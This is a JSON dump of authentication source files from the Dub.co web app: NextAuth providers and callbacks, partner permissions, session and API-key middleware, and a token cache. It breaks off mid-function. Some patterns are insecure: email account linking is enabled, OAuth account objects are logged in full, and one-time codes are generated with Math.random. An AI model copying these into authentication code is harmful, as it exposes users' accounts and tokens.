});\n        }\n\n        const { id, name, email, image } = existingUser;\n\n        return {\n          id,\n          name,\n          email,\n          image,\n        };\n      },\n      options: {\n        clientId: \"dummy\",\n        clientSecret: process.env.NEXTAUTH_SECRET as string,\n      },\n      allowDangerousEmailAccountLinking: true,\n    },\n    CredentialsProvider({\n      id: \"saml-idp\",\n      name: \"IdP Login\",\n      credentials: {\n        code: {},\n      },\n      async authorize(credentials) {\n        if (!credentials) {\n          return null;\n        }\n\n        const { code } = credentials;\n\n        if (!code) {\n          return null;\n        }\n\n        const { oauthController } = await jackson();\n\n        // Fetch access token\n        const { access_token } = await oauthController.token({\n          code,\n          grant_type: \"authorization_code\",\n          redirect_uri: process.env.NEXTAUTH_URL as string,\n          client_id: \"dummy\",\n          client_secret: process.env.NEXTAUTH_SECRET as string,\n        });\n\n        if (!access_token) {\n          return null;\n        }\n\n        // Fetch user info\n        const userInfo = await oauthController.userInfo(access_token);\n\n        if (!userInfo) {\n          return null;\n        }\n\n        let existingUser = await prisma.user.findUnique({\n          where: { email: userInfo.email },\n        });\n\n        // user is authorized but doesn't have a Dub account, create one for them\n        if (!existingUser) {\n          existingUser = await prisma.user.create({\n            data: {\n              id: createId({ prefix: \"user_\" }),\n              email: userInfo.email,\n              name: `${userInfo.firstName || \"\"} ${\n                userInfo.lastName || \"\"\n              }`.trim(),\n              notificationPreferences: {\n                create: {},\n              },\n            },\n          });\n        }\n\n        const { id, name, email, image } = existingUser;\n\n        return {\n          id,\n          email,\n          name,\n          email_verified: true,\n          image,\n          // adding profile here so we can access it in signIn callback\n          profile: userInfo,\n        };\n      },\n    }),\n\n    // Sign in with email and password\n    CredentialsProvider({\n      id: \"credentials\",\n      name: \"Dub.co\",\n      type: \"credentials\",\n      credentials: {\n        email: { type: \"email\" },\n        password: { type: \"password\" },\n      },\n      async authorize(credentials, req) {\n        if (!credentials) {\n          throw new Error(\"no-credentials\");\n        }\n\n        const { email, password } = credentials;\n\n        if (!email || !password) {\n          throw new Error(\"no-credentials\");\n        }\n\n        if (!skipAuthThrottling) {\n          const { success } = await ratelimit(5, \"1 m\").limit(\n            `login-attempts:${email}`,\n          );\n\n          if (!success) {\n            throw new Error(\"too-many-login-attempts\");\n          }\n        }\n\n        // SSO enforcement check\n        const ssoEnforced = await isSamlEnforcedForEmailDomain(email);\n\n        if (ssoEnforced) {\n          throw new Error(\"require-saml-sso\");\n        }\n\n        const user = await prisma.user.findUnique({\n          where: { email },\n          select: {\n            id: true,\n            passwordHash: true,\n            name: true,\n            email: true,\n            image: true,\n            invalidLoginAttempts: true,\n            emailVerified: true,\n          },\n        });\n\n        if (!user || !user.passwordHash) {\n          throw new Error(\"invalid-credentials\");\n        }\n\n        if (exceededLoginAttemptsThreshold(user)) {\n          throw new Error(\"exceeded-login-attempts\");\n        }\n\n        const passwordMatch = await validatePassword({\n          password,\n          passwordHash: user.passwordHash,\n        });\n\n        if (!passwordMatch) {\n          const exceededLoginAttempts = exceededLoginAttemptsThreshold(\n            await incrementLoginAttempts(user),\n          );\n\n          if (exceededLoginAttempts) {\n            throw new Error(\"exceeded-login-attempts\");\n          } else {\n            throw new Error(\"invalid-credentials\");\n          }\n        }\n\n        if (!user.emailVerified) {\n          throw new Error(\"email-not-verified\");\n        }\n\n        // Reset invalid login attempts\n        await prisma.user.update({\n          where: { id: user.id },\n          data: {\n            invalidLoginAttempts: 0,\n          },\n        });\n\n        return {\n          id: user.id,\n          name: user.name,\n          email: user.email,\n          image: user.image,\n        };\n      },\n    }),\n\n    // Framer\n    {\n      id: \"framer\",\n      name: \"Framer\",\n      type: \"oauth\",\n      clientId: process.env.FRAMER_CLIENT_ID,\n      clientSecret: process.env.FRAMER_CLIENT_SECRET,\n      checks: [\"state\"],\n      authorization: {\n        url: `${FRAMER_API_HOST}/auth/oauth/authorize`,\n        params: {\n          scope: \"email\",\n          response_type: \"code\",\n        },\n      },\n      token: `${FRAMER_API_HOST}/auth/oauth/token`,\n      userinfo: `${FRAMER_API_HOST}/auth/oauth/profile`,\n      profile({ sub, email, name, picture }) {\n        return {\n          id: sub,\n          name,\n          email,\n          image: picture,\n        };\n      },\n    },\n  ],\n  // @ts-ignore\n  adapter: CustomPrismaAdapter(prisma),\n  session: { strategy: \"jwt\" },\n  cookies: {\n    sessionToken: {\n      name: `${VERCEL_DEPLOYMENT ? \"__Secure-\" : \"\"}next-auth.session-token`,\n      options: {\n        httpOnly: true,\n        sameSite: \"lax\",\n        path: \"/\",\n        // When working on localhost, the cookie domain must be omitted entirely (https://stackoverflow.com/a/1188145)\n        domain: VERCEL_DEPLOYMENT\n          ? `.${process.env.NEXT_PUBLIC_APP_DOMAIN}`\n          : undefined,\n        secure: VERCEL_DEPLOYMENT,\n      },\n    },\n  },\n  pages: {\n    signIn: \"/login\",\n    error: \"/login\",\n  },\n  callbacks: {\n    signIn: async ({ user, account, profile }) => {\n      console.log({ user, account, profile });\n\n      if (!user.email || (await isBlacklistedEmail(user.email))) {\n        return false;\n      }\n\n      if (user?.lockedAt) {\n        return false;\n      }\n\n      // If the user is not using SAML, we need to check if SAML is enforced for the email domain\n      if (\n        account?.provider !== \"saml\" &&\n        account?.provider !== \"saml-idp\" &&\n        account?.provider !== \"credentials\" // for credentials, we do the check in the CredentialsProvider\n      ) {\n        const ssoEnforced = await isSamlEnforcedForEmailDomain(user.email);\n\n        if (ssoEnforced) {\n          throw new Error(\"require-saml-sso\");\n        }\n      }\n\n      if (account?.provider === \"google\" || account?.provider === \"github\") {\n        const userExists = await prisma.user.findUnique({\n          where: { email: user.email },\n          select: { id: true, name: true, image: true },\n        });\n        if (!userExists || !profile) {\n          return true;\n        }\n        // if the user already exists via email,\n        // update the user with their name and image\n        if (userExists && profile) {\n          const profilePic =\n            profile[account.provider === \"google\" ? \"picture\" : \"avatar_url\"];\n          let newAvatar: string | null = null;\n          // if the existing user doesn't have an image or the image is not stored in R2\n          if (\n            (!userExists.image || !isStored(userExists.image)) &&\n            profilePic\n          ) {\n            const { url } = await storage.upload({\n              key: `avatars/${userExists.id}`,\n              body: profilePic,\n            });\n            newAvatar = url;\n          }\n          await prisma.user.update({\n            where: { email: user.email },\n            data: {\n              // @ts-expect-error - this is a bug in the types, `login` is a valid on the `Profile` type\n              ...(!userExists.name && { name: profile.name || profile.login }),\n              ...(newAvatar && { image: newAvatar }),\n            },\n          });\n        }\n      } else if (\n        account?.provider === \"saml\" ||\n        account?.provider === \"saml-idp\"\n      ) {\n        let samlProfile;\n\n        if (account?.provider === \"saml-idp\") {\n          // @ts-ignore\n          samlProfile = user.profile;\n          if (!samlProfile) {\n            return true;\n          }\n        } else {\n          samlProfile = profile;\n        }\n\n        if (!samlProfile?.requested?.tenant) {\n          return false;\n        }\n\n        const workspace = await prisma.project.findUnique({\n          where: {\n            id: samlProfile.requested.tenant,\n          },\n          select: {\n            id: true,\n            ssoEmailDomain: true,\n          },\n        });\n\n        if (workspace) {\n          const { ssoEmailDomain } = workspace;\n          const emailDomain = user.email.split(\"@\")[1];\n\n          // ssoEmailDomain should be required for all SAML enabled workspace\n          // this should not happen\n          if (!ssoEmailDomain) {\n            return false;\n          }\n\n          if (\n            emailDomain.toLocaleLowerCase() !==\n            ssoEmailDomain.toLocaleLowerCase()\n          ) {\n            return false;\n          }\n\n          await Promise.allSettled([\n            // add user to workspace\n            prisma.projectUsers.upsert({\n              where: {\n                userId_projectId: {\n                  userId: user.id,\n                  projectId: workspace.id,\n                },\n              },\n              update: {},\n              create: {\n                projectId: workspace.id,\n                userId: user.id,\n              },\n            }),\n            // delete any pending invites for this user\n            prisma.projectInvite.delete({\n              where: {\n                email_projectId: {\n                  email: user.email,\n                  projectId: workspace.id,\n                },\n              },\n            }),\n          ]);\n        }\n        // Login with Framer\n      } else if (account?.provider === \"framer\") {\n        const userFound = await prisma.user.findUnique({\n          where: {\n            email: user.email,\n          },\n          include: {\n            accounts: true,\n          },\n        });\n\n        // account doesn't exist, let the user sign in\n        if (!userFound) {\n          return true;\n        }\n\n        const otherAccounts = userFound?.accounts.filter(\n          (account) => account.provider !== \"framer\",\n        );\n\n        // we don't allow account linking for Framer partners\n        // so redirect to the standard login page\n        if (otherAccounts && otherAccounts.length > 0) {\n          throw new Error(\"framer-account-linking-not-allowed\");\n        }\n\n        return true;\n      }\n      return true;\n    },\n    jwt: async ({\n      token,\n      user,\n      trigger,\n    }: {\n      token: JWT;\n      user: User | AdapterUser | UserProps;\n      trigger?: \"signIn\" | \"update\" | \"signUp\";\n    }) => {\n      if (user) {\n        token.user = user;\n      }\n\n      // refresh the user's data if they update their name / email\n      if (trigger === \"update\") {\n        const refreshedUser = await prisma.user.findUnique({\n          where: {\n            id: token.sub,\n          },\n          select: {\n            id: true,\n            name: true,\n            email: true,\n            image: true,\n            isMachine: true,\n            defaultWorkspace: true,\n            defaultPartnerId: true,\n          },\n        });\n\n        if (refreshedUser) {\n          token.user = refreshedUser;\n        } else {\n          return {};\n        }\n      }\n\n      return token;\n    },\n    session: async ({ session, token }) => {\n      session.user = {\n        id: token.sub,\n        // @ts-ignore\n        ...(token || session).user,\n      };\n      return session;\n    },\n  },\n  events: {\n    async signIn(message) {\n      console.log(\"signIn\", message);\n      const email = message.user.email as string;\n      const user = await prisma.user.findUnique({\n        where: { email },\n        select: {\n          id: true,\n          name: true,\n          email: true,\n          image: true,\n          createdAt: true,\n        },\n      });\n      if (!user) {\n        console.log(\n          `User ${message.user.email} not found, skipping welcome workflow...`,\n        );\n        return;\n      }\n      // only process new user workflow if the user was created in the last 15s (newly created user)\n      if (\n        user.createdAt &&\n        new Date(user.createdAt).getTime() > Date.now() - 15000\n      ) {\n        console.log(\n          `New user ${user.email} created,  triggering welcome workflow...`,\n        );\n        waitUntil(\n          Promise.allSettled([\n            // track lead if dub_id cookie is present\n            trackDubLead(user),\n            // trigger welcome workflow 45 minutes after the user signed up\n            qstash.publishJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/welcome-user`,\n              delay: 45 * 60,\n              body: { userId: user.id },\n            }),\n          ]),\n        );\n      }\n\n      // lazily backup user avatar to R2\n      const currentImage = message.user.image;\n      if (currentImage && !isStored(currentImage)) {\n        waitUntil(\n          (async () => {\n            const { url } = await storage.upload({\n              key: `avatars/${message.user.id}`,\n              body: currentImage,\n            });\n            await prisma.user.update({\n              where: {\n                id: message.user.id,\n              },\n              data: {\n                image: url,\n              },\n            });\n          })(),\n        );\n      }\n\n      // Complete any outstanding program applications\n      if (message.user.email) {\n        waitUntil(completeProgramApplications(message.user.email));\n      }\n    },\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/auth/partner-users/partner-user-permissions.ts",
    "content": "import type { PartnerRole } from \"@dub/prisma/client\";\n\nexport type Permission = (typeof PERMISSIONS)[number];\n\nconst PERMISSIONS = [\n  \"users.update\",\n  \"users.delete\",\n  \"user_invites.create\",\n  \"user_invites.delete\",\n  \"user_invites.update\",\n  \"partner_profile.update\",\n  \"payout_settings.update\",\n  \"postbacks.read\",\n  \"postbacks.write\",\n] as const;\n\nconst ROLE_PERMISSIONS: Record<PartnerRole, Permission[]> = {\n  owner: [\n    \"users.update\",\n    \"users.delete\",\n    \"user_invites.create\",\n    \"user_invites.delete\",\n    \"user_invites.update\",\n    \"partner_profile.update\",\n    \"payout_settings.update\",\n    \"postbacks.read\",\n    \"postbacks.write\",\n  ],\n  member: [],\n} as const;\n\nexport function hasPermission(role: PartnerRole, permission: Permission) {\n  const allowed = ROLE_PERMISSIONS[role] ?? [];\n\n  return allowed.includes(permission);\n}\n"
  },
  {
    "path": "apps/web/lib/auth/partner-users/throw-if-no-permission.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport { hasPermission, Permission } from \"./partner-user-permissions\";\n\nexport function throwIfNoPermission({\n  role,\n  permission,\n  message = \"You don't have the necessary permissions to complete this request.\",\n}: {\n  role: PartnerRole;\n  permission: Permission;\n  message?: string;\n}) {\n  if (hasPermission(role, permission)) {\n    return;\n  }\n\n  throw new DubApiError({\n    code: \"forbidden\",\n    message,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/auth/partner.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { PartnerBetaFeatures, PartnerProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerUser } from \"@dub/prisma/client\";\nimport { getSearchParams, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { headers } from \"next/headers\";\nimport { getPartnerFeatureFlags } from \"../edge-config\";\nimport { ratelimit } from \"../upstash\";\nimport { partnerPlatformSchema } from \"../zod/schemas/partners\";\nimport { hashToken } from \"./hash-token\";\nimport { Permission } from \"./partner-users/partner-user-permissions\";\nimport { throwIfNoPermission } from \"./partner-users/throw-if-no-permission\";\nimport { rateLimitRequest } from \"./rate-limit-request\";\nimport { tokenCache, TokenCacheItem } from \"./token-cache\";\nimport { getSession, Session } from \"./utils\";\n\ninterface WithPartnerProfileHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    headers,\n    session,\n    partner,\n    partnerUser,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    headers?: Headers;\n    session: Session;\n    partner: Omit<PartnerProps, \"role\" | \"userId\">;\n    partnerUser: Pick<PartnerUser, \"userId\" | \"role\">;\n  }): Promise<Response>;\n}\n\ninterface WithPartnerProfileOptions {\n  requiredPermission?: Permission;\n  featureFlag?: PartnerBetaFeatures;\n}\n\nconst RATE_LIMIT_FOR_PARTNERS = {\n  api: {\n    limit: 600,\n    interval: \"1 m\",\n  },\n  analyticsApi: {\n    limit: 8,\n    interval: \"1 s\",\n  },\n} as const;\n\nexport const withPartnerProfile = (\n  handler: WithPartnerProfileHandler,\n  { requiredPermission, featureFlag }: WithPartnerProfileOptions = {},\n) => {\n  return withAxiom(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      const params = (await initialParams) || {};\n      const searchParams = getSearchParams(req.url);\n\n      let apiKey: string | undefined;\n      let requestHeaders = await headers();\n      let responseHeaders = new Headers();\n\n      try {\n        const authorizationHeader = requestHeaders.get(\"Authorization\");\n        if (authorizationHeader) {\n          if (!authorizationHeader.startsWith(\"Bearer \")) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message:\n                \"Misconfigured authorization header. Did you forget to add 'Bearer '? Learn more: https://d.to/auth\",\n            });\n          }\n          apiKey = authorizationHeader.replace(\"Bearer \", \"\");\n        }\n\n        let session: Session | undefined;\n        let token: TokenCacheItem | null = null;\n\n        if (apiKey) {\n          const hashedKey = await hashToken(apiKey);\n\n          const cachedToken = await tokenCache.get({\n            hashedKey,\n          });\n\n          if (!cachedToken) {\n            token = await prisma.token.findUnique({\n              where: {\n                hashedKey,\n              },\n              select: {\n                expires: true,\n                user: true,\n              },\n            });\n          }\n\n          token = cachedToken || token;\n\n          if (!token || !token.user) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Invalid API key.\",\n            });\n          }\n\n          if (token.expires && token.expires < new Date()) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Access token expired.\",\n            });\n          }\n\n          if (!cachedToken) {\n            waitUntil(\n              tokenCache.set({\n                hashedKey,\n                token,\n              }),\n            );\n          }\n\n          waitUntil(\n            // update last used time for the token (only once every minute)\n            (async () => {\n              try {\n                const { success } = await ratelimit(1, \"1 m\").limit(\n                  `last-used-${hashedKey}`,\n                );\n\n                if (success) {\n                  await prisma.token.update({\n                    where: {\n                      hashedKey,\n                    },\n                    data: {\n                      lastUsed: new Date(),\n                    },\n                  });\n                }\n              } catch (error) {\n                console.error(error);\n              }\n            })(),\n          );\n\n          session = {\n            user: {\n              id: token.user.id,\n              name: token.user.name || \"\",\n              email: token.user.email || \"\",\n              isMachine: token.user.isMachine,\n              defaultPartnerId: token.user.defaultPartnerId || undefined,\n            },\n          };\n        } else {\n          session = await getSession();\n\n          if (!session?.user?.id) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Login required.\",\n            });\n          }\n        }\n\n        const { defaultPartnerId, id: userId } = session.user;\n        if (!defaultPartnerId) {\n          throw new DubApiError({\n            code: \"not_found\",\n            message: \"Partner profile not found.\",\n          });\n        }\n\n        // Check API rate limit\n        const url = new URL(req.url || \"\", PARTNERS_DOMAIN);\n        const isAnalytics =\n          url.pathname.includes(\"/analytics\") ||\n          url.pathname.includes(\"/events\");\n\n        const rateLimit =\n          RATE_LIMIT_FOR_PARTNERS[isAnalytics ? \"analyticsApi\" : \"api\"];\n\n        const { success, headers } = await rateLimitRequest({\n          requests: rateLimit.limit,\n          interval: rateLimit.interval,\n          identifier: `partner-profile:ratelimit:${session.user.id}`,\n        });\n\n        if (headers) {\n          for (const [key, value] of Object.entries(headers)) {\n            responseHeaders.set(key, value);\n          }\n        }\n\n        if (!success) {\n          throw new DubApiError({\n            code: \"rate_limit_exceeded\",\n            message: \"Too many requests.\",\n          });\n        }\n\n        const partnerUser = await prisma.partnerUser.findUnique({\n          where: {\n            userId_partnerId: {\n              userId,\n              partnerId: defaultPartnerId,\n            },\n          },\n          include: {\n            partner: {\n              include: {\n                industryInterests: true,\n                preferredEarningStructures: true,\n                salesChannels: true,\n                platforms: true,\n              },\n            },\n          },\n        });\n\n        // partnerUser relationship doesn't exist\n        if (!partnerUser) {\n          throw new DubApiError({\n            code: \"not_found\",\n            message: \"Partner profile not found.\",\n          });\n        }\n\n        if (requiredPermission) {\n          throwIfNoPermission({\n            role: partnerUser.role,\n            permission: requiredPermission,\n          });\n        }\n\n        // Beta feature checks\n        if (featureFlag) {\n          const flags = await getPartnerFeatureFlags(partnerUser.partner.id);\n\n          if (!flags[featureFlag]) {\n            throw new DubApiError({\n              code: \"forbidden\",\n              message: \"Unauthorized: Beta feature.\",\n            });\n          }\n        }\n\n        const {\n          industryInterests,\n          preferredEarningStructures,\n          salesChannels,\n          platforms,\n          ...partner\n        } = partnerUser.partner;\n\n        return await handler({\n          req,\n          params,\n          searchParams,\n          session,\n          partner: {\n            ...partner,\n            industryInterests: industryInterests.map(\n              ({ industryInterest }) => industryInterest,\n            ),\n            preferredEarningStructures: preferredEarningStructures.map(\n              ({ preferredEarningStructure }) => preferredEarningStructure,\n            ),\n            salesChannels: salesChannels.map(\n              ({ salesChannel }) => salesChannel,\n            ),\n            platforms: partnerPlatformSchema.array().parse(platforms),\n          } as Omit<PartnerProps, \"role\" | \"userId\">,\n          partnerUser: {\n            userId: partnerUser.userId,\n            role: partnerUser.role,\n          },\n          headers: responseHeaders,\n        });\n      } catch (error) {\n        return handleAndReturnErrorResponse(error, responseHeaders);\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/auth/password.ts",
    "content": "import { compare, hash } from \"bcryptjs\";\n\nexport async function hashPassword(password: string) {\n  return await hash(password, 12);\n}\n\nexport async function validatePassword({\n  password,\n  passwordHash,\n}: {\n  password: string;\n  passwordHash: string;\n}) {\n  return await compare(password, passwordHash);\n}\n"
  },
  {
    "path": "apps/web/lib/auth/publishable-key.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { headers } from \"next/headers\";\nimport { COMMON_CORS_HEADERS } from \"../api/cors\";\n\ninterface WithPublishableKeyHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    workspace,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    workspace: Project;\n  }): Promise<Response>;\n}\n\nexport const withPublishableKey = (\n  handler: WithPublishableKeyHandler,\n  {\n    requiredPlan = [\n      \"free\",\n      \"pro\",\n      \"business\",\n      \"business plus\",\n      \"business max\",\n      \"business extra\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n) =>\n  withAxiom(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      const params = (await initialParams) || {};\n      let requestHeaders = await headers();\n      let responseHeaders = COMMON_CORS_HEADERS;\n\n      try {\n        const authorizationHeader = requestHeaders.get(\"Authorization\");\n        if (authorizationHeader) {\n          if (!authorizationHeader.startsWith(\"Bearer \")) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message: \"Invalid or missing publishable key.\",\n            });\n          }\n\n          const publishableKey = authorizationHeader.replace(\"Bearer \", \"\");\n          if (!publishableKey.startsWith(\"dub_pk_\")) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message: \"Invalid or missing publishable key.\",\n            });\n          }\n\n          const { success, limit, reset, remaining } = await ratelimit(\n            600,\n            \"1 m\",\n          ).limit(publishableKey);\n\n          responseHeaders.set(\"Retry-After\", reset.toString());\n          responseHeaders.set(\"X-RateLimit-Limit\", limit.toString());\n          responseHeaders.set(\"X-RateLimit-Remaining\", remaining.toString());\n          responseHeaders.set(\"X-RateLimit-Reset\", reset.toString());\n\n          if (!success) {\n            throw new DubApiError({\n              code: \"rate_limit_exceeded\",\n              message: \"Too many requests.\",\n            });\n          }\n\n          const workspace = await prisma.project.findUnique({\n            where: {\n              publishableKey,\n            },\n          });\n\n          if (!workspace) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Invalid publishable key.\",\n            });\n          }\n\n          if (!requiredPlan.includes(workspace.plan)) {\n            throw new DubApiError({\n              code: \"forbidden\",\n              message: \"Unauthorized: Need higher plan.\",\n            });\n          }\n\n          const searchParams = getSearchParams(req.url);\n          return await handler({ req, params, searchParams, workspace });\n        } else {\n          throw new DubApiError({\n            code: \"unauthorized\",\n            message: \"Missing publishable key.\",\n          });\n        }\n      } catch (error) {\n        return handleAndReturnErrorResponse(error, responseHeaders);\n      }\n    },\n  );\n"
  },
  {
    "path": "apps/web/lib/auth/rate-limit-request.ts",
    "content": "import { ratelimit } from \"../upstash\";\n\nexport async function rateLimitRequest({\n  identifier,\n  requests,\n  interval,\n}: {\n  identifier: string;\n  requests: number;\n  interval: `${number} s` | `${number} m`;\n}) {\n  const { success, limit, reset, remaining } = await ratelimit(\n    requests,\n    interval,\n  ).limit(identifier);\n\n  return {\n    success,\n    headers: {\n      \"Retry-After\": reset.toString(),\n      \"X-RateLimit-Limit\": limit.toString(),\n      \"X-RateLimit-Remaining\": remaining.toString(),\n      \"X-RateLimit-Reset\": reset.toString(),\n    },\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/auth/session.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { getSearchParams } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { headers } from \"next/headers\";\nimport { withAxiom } from \"../axiom/server\";\nimport { hashToken } from \"./hash-token\";\nimport { Session, getSession } from \"./utils\";\n\ninterface WithSessionHandler {\n  ({\n    req,\n    params,\n    searchParams,\n    session,\n  }: {\n    req: Request;\n    params: Record<string, string>;\n    searchParams: Record<string, string>;\n    session: Session;\n  }): Promise<Response>;\n}\n\nexport const withSession = (handler: WithSessionHandler) =>\n  withAxiom(\n    async (\n      req,\n      { params: initialParams }: { params: Promise<Record<string, string>> },\n    ) => {\n      const params = (await initialParams) || {};\n      let requestHeaders = await headers();\n      let responseHeaders = new Headers();\n\n      try {\n        let session: Session | undefined;\n\n        const authorizationHeader = requestHeaders.get(\"Authorization\");\n        if (authorizationHeader) {\n          if (!authorizationHeader.startsWith(\"Bearer \")) {\n            throw new DubApiError({\n              code: \"bad_request\",\n              message:\n                \"Misconfigured authorization header. Did you forget to add 'Bearer '? Learn more: https://d.to/auth\",\n            });\n          }\n          const apiKey = authorizationHeader.replace(\"Bearer \", \"\");\n\n          const hashedKey = await hashToken(apiKey);\n\n          const user = await prisma.user.findFirst({\n            where: {\n              tokens: {\n                some: {\n                  hashedKey,\n                },\n              },\n            },\n            select: {\n              id: true,\n              name: true,\n              email: true,\n              isMachine: true,\n            },\n          });\n          if (!user) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Invalid API key.\",\n            });\n          }\n\n          const { success, limit, reset, remaining } = await ratelimit(\n            60,\n            \"1 m\",\n          ).limit(apiKey);\n\n          responseHeaders.set(\"Retry-After\", reset.toString());\n          responseHeaders.set(\"X-RateLimit-Limit\", limit.toString());\n          responseHeaders.set(\"X-RateLimit-Remaining\", remaining.toString());\n          responseHeaders.set(\"X-RateLimit-Reset\", reset.toString());\n\n          if (!success) {\n            throw new DubApiError({\n              code: \"rate_limit_exceeded\",\n              message: \"Too many requests.\",\n            });\n          }\n          waitUntil(\n            (async () => {\n              try {\n                // update last used time for the token (only once every minute)\n                const { success } = await ratelimit(1, \"1 m\").limit(\n                  `last-used-${hashedKey}`,\n                );\n\n                if (success) {\n                  await prisma.token.update({\n                    where: {\n                      hashedKey,\n                    },\n                    data: {\n                      lastUsed: new Date(),\n                    },\n                  });\n                }\n              } catch (error) {\n                console.error(error);\n              }\n            })(),\n          );\n          session = {\n            user: {\n              id: user.id,\n              name: user.name || \"\",\n              email: user.email || \"\",\n              isMachine: user.isMachine,\n            },\n          };\n        } else {\n          session = await getSession();\n          if (!session?.user.id) {\n            throw new DubApiError({\n              code: \"unauthorized\",\n              message: \"Unauthorized: Login required.\",\n            });\n          }\n        }\n\n        const searchParams = getSearchParams(req.url);\n        return await handler({ req, params, searchParams, session });\n      } catch (error) {\n        return handleAndReturnErrorResponse(error, responseHeaders);\n      }\n    },\n  );\n"
  },
  {
    "path": "apps/web/lib/auth/token-cache.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport * as z from \"zod/v4\";\n\nconst CACHE_EXPIRATION = 60 * 60 * 24; // 24 hours\nconst CACHE_KEY_PREFIX = \"dubTokenCache\";\n\nconst tokenCacheItemSchema = z.object({\n  expires: z.date().nullish(),\n  user: z.object({\n    id: z.string(),\n    name: z.string().nullable(),\n    email: z.string().nullable(),\n    isMachine: z.boolean(),\n    defaultWorkspace: z.string().nullish(),\n    defaultPartnerId: z.string().nullish(),\n  }),\n  scopes: z.string().nullish(),\n  projectId: z.string().nullish(),\n  project: z\n    .object({\n      plan: z.string().nullish(),\n    })\n    .nullish(),\n  installationId: z.string().nullish(),\n});\n\nexport type TokenCacheItem = z.infer<typeof tokenCacheItemSchema>;\n\n// Cache for restricted tokens (and legacy personal tokens)\nclass TokenCache {\n  async set({\n    hashedKey,\n    token,\n  }: {\n    hashedKey: string;\n    token: TokenCacheItem;\n  }) {\n    return await redis.set(\n      this._createKey({ hashedKey }),\n      JSON.stringify(tokenCacheItemSchema.parse(token)),\n      {\n        ex: CACHE_EXPIRATION,\n      },\n    );\n  }\n\n  async get({ hashedKey }: { hashedKey: string }) {\n    return await redis.get<TokenCacheItem>(this._createKey({ hashedKey }));\n  }\n\n  async delete({ hashedKey }: { hashedKey: string }) {\n    return await redis.del(this._createKey({ hashedKey }));\n  }\n\n  async expireMany({ hashedKeys }: { hashedKeys: string[] }) {\n    if (hashedKeys.length === 0) {\n      return;\n    }\n\n    const pipeline = redis.pipeline();\n\n    hashedKeys.forEach((hashedKey) => {\n      pipeline.expire(this._createKey({ hashedKey }), 1);\n    });\n\n    return await pipeline.exec();\n  }\n\n  _createKey({ hashedKey }: { hashedKey: string }) {\n    return `${CACHE_KEY_PREFIX}:${hashedKey}`;\n  }\n}\n\nexport const tokenCache = new TokenCache();\n"
  },
  {
    "path": "apps/web/lib/auth/track-dub-lead.ts",
    "content": "import { dub } from \"@/lib/dub\";\nimport { User } from \"next-auth\";\nimport { cookies } from \"next/headers\";\n\nexport const trackDubLead = async (user: User) => {\n  const cookieStore = await cookies();\n  const clickId = cookieStore.get(\"dub_id\")?.value;\n\n  if (!clickId) {\n    console.log(\"No dub_id cookie found, skipping lead tracking...\");\n    return;\n  }\n\n  // send the lead event to Dub\n  await dub.track.lead({\n    clickId,\n    eventName: \"Sign Up\",\n    customerExternalId: user.id,\n    customerName: user.name,\n    customerEmail: user.email,\n    customerAvatar: user.image,\n  });\n\n  // delete the cookies\n  cookieStore.delete(\"dub_id\");\n  cookieStore.delete(\"dub_partner_data\");\n};\n"
  },
  {
    "path": "apps/web/lib/auth/utils.ts",
    "content": "import { getServerSession } from \"next-auth/next\";\nimport { NextRequest } from \"next/server\";\nimport { DubApiError } from \"../api/errors\";\nimport { authOptions } from \"./options\";\n\nexport interface Session {\n  user: {\n    id: string;\n    name: string;\n    email: string;\n    image?: string;\n    isMachine: boolean;\n    defaultWorkspace?: string;\n    defaultPartnerId?: string;\n  };\n}\n\nexport const getSession = async () => {\n  return getServerSession(authOptions) as Promise<Session>;\n};\n\nexport const getAuthTokenOrThrow = (\n  req: Request | NextRequest,\n  type: \"Bearer\" | \"Basic\" = \"Bearer\",\n) => {\n  const authorizationHeader = req.headers.get(\"Authorization\");\n\n  if (!authorizationHeader) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"Misconfigured authorization header. Did you forget to add 'Bearer '? Learn more: https://d.to/auth\",\n    });\n  }\n\n  return authorizationHeader.replace(`${type} `, \"\");\n};\n\nexport function generateOTP() {\n  // Generate a random number between 0 and 999999\n  const randomNumber = Math.floor(Math.random() * 1000000);\n\n  // Pad the number with leading zeros if necessary to ensure it is always 6 digits\n  return randomNumber.toString().padStart(6, 